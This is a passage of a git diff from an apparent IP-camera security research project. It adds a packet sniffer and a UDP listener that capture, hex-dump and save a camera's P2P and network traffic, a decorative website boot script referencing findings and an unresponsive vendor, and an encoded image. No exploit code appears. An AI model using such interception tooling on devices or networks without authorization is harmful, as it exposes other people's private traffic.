log(f"SNIFF: new UDP port {sp}->{dp}", C_IMPORTANT) + orig = _lookup_orig_dst(src_ip, sp, "udp") or "?" + pname = proto_id.detect(payload) + proto_id.record(pname) + log(f"SNIFF: UDP {cfg['camera_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig}) [{pname} {payload[:6].hex()}] ({len(payload)}B)", C_TRAFFIC) + log(hexdump(payload), 0) + save_raw(cfg["log_dir"], f"sniff_udp{dp}_{sp}", payload) + + elif proto == 6 and len(pkt) >= t_start + 4: + sp, dp = struct.unpack("!HH", pkt[t_start:t_start + 4]) + key = f"tcp:{dp}" + if key not in seen: + seen.add(key) + orig = _lookup_orig_dst(src_ip, sp, "tcp") or "?" + log(f"SNIFF: new TCP {cfg['camera_ip']}:{sp} -> {dst_ip}:{dp} (orig={orig})", C_IMPORTANT) + + sock.close() + flags["sniffer"] = False diff --git a/services/udp_listener.py b/services/udp_listener.py new file mode 100644 index 0000000..41c1f6f --- /dev/null +++ b/services/udp_listener.py @@ -0,0 +1,38 @@ +"""UDP listener — captures P2P master service and other UDP traffic""" + +import socket +import struct +from utils.log import log, hexdump, save_raw, C_SUCCESS, C_ERROR, C_TRAFFIC + + +def run(port, cfg, flags, running_check): + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.settimeout(1) + try: + sock.bind(("0.0.0.0", port)) + except OSError as e: + log(f"UDP:{port} bind failed: {e}", C_ERROR) + return + + flags[f"udp{port}"] = True + log(f"UDP: listening on :{port}", C_SUCCESS) + + while running_check(): + try: + data, addr = sock.recvfrom(4096) + except socket.timeout: + continue + except: + break + + log(f"UDP:{port} from {addr[0]}:{addr[1]} ({len(data)}B)", C_TRAFFIC) + log(hexdump(data), 0) + save_raw(cfg["log_dir"], f"udp{port}_{addr[0]}_{addr[1]}", data) + + if len(data) >= 4: + magic = struct.unpack("!I", data[:4])[0] + log(f" magic: 0x{magic:08x}", 0) + + sock.close() + flags[f"udp{port}"] = False diff --git a/site/boot.js b/site/boot.js new file mode 100644 index 0000000..232c1e7 --- /dev/null +++ b/site/boot.js @@ -0,0 +1,100 @@ +/* ───────────────────────────────────────────────────────── + camhak.seteclabs.io — boot sequence + reveals + hud + ───────────────────────────────────────────────────────── */ + +// ─── HUD live clock ────────────────────────────────────── +(function clock() { + const el = document.getElementById("hud-clock"); + if (!el) return; + function tick() { + const d = new Date(); + const pad = n => String(n).padStart(2, "0"); + el.textContent = `${pad(d.getUTCHours())}:${pad(d.getUTCMinutes())}:${pad(d.getUTCSeconds())}Z`; + } + tick(); + setInterval(tick, 1000); +})(); + +// ─── Boot sequence (typewriter) ────────────────────────── +(function boot() { + const el = document.getElementById("boot"); + if (!el) return; + + const lines = [ + { t: "[boot] setec-rom v3.41 init", c: "ok" }, + { t: "[boot] cpu: armv7l-thumb / 2 cores / 1.0ghz", c: "ok" }, + { t: "[boot] memory map ........................ ok", c: "ok" }, + { t: "[boot] crt phosphor warmup .................. ok", c: "ok" }, + { t: "[net] link: enP4p65s0 / 192.168.1.172", c: "ok" }, + { t: "[net] upstream: setec.fun / verified", c: "ok" }, + { t: "[svc] loading payload: camhak/index", c: "" }, + { t: "[svc] decrypting findings ............... 18 records", c: "ok" }, + { t: "[warn] subject vendor unresponsive (CISA)", c: "warn" }, + { t: "[scan] uplink stable. handing off to renderer.", c: "ok" }, + { t: "", c: "" }, + ]; + + let li = 0, ci = 0; + let buf = ""; + const speed = 6; // ms per char + + function step() { + if (li >= lines.length) { + el.innerHTML = buf + ''; + return; + } + const line = lines[li]; + if (ci === 0 && line.t.length === 0) { + buf += "\n"; + li++; + setTimeout(step, 60); + return; + } + if (ci < line.t.length) { + ci++; + } else { + // line complete; wrap with class + const wrapped = line.c ? `${line.t}` : line.t; + // replace the in-progress text with the wrapped version + buf = buf.replace(line.t, wrapped) + "\n"; + li++; + ci = 0; + setTimeout(step, 90); + return; + } + // render in-progress (without span coloring while typing) + el.innerHTML = buf + line.t.slice(0, ci) + ''; + setTimeout(step, speed + Math.random() * 8); + } + + step(); +})(); + +// ─── Section reveal on scroll (one-shot) ───────────────── +(function reveal() { + if (!("IntersectionObserver" in window)) { + document.querySelectorAll(".reveal").forEach(el => el.classList.add("in-view")); + return; + } + const io = new IntersectionObserver((entries) => { + entries.forEach(e => { + if (e.isIntersecting) { + e.target.classList.add("in-view"); + io.unobserve(e.target); + } + }); + }, { rootMargin: "0px 0px -10% 0px", threshold: 0.05 }); + + document.querySelectorAll(".reveal").forEach(el => io.observe(el)); +})(); + +// ─── Random subtle glitch on the hero every ~10s ───────── +(function periodicGlitch() { + const el = document.getElementById("ascii-logo"); + if (!el) return; + setInterval(() => { + el.style.animation = "none"; + void el.offsetWidth; + el.style.animation = "glitch-shake 0.4s linear"; + }, 9000 + Math.random() * 5000); +})(); diff --git a/site/img/cloud_api_redacted.png b/site/img/cloud_api_redacted.png new file mode 100644 index 0000000000000000000000000000000000000000..ed72c27177bd8e0b0baabb0523ab62f6c1a5a562 GIT binary patch literal 75903 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 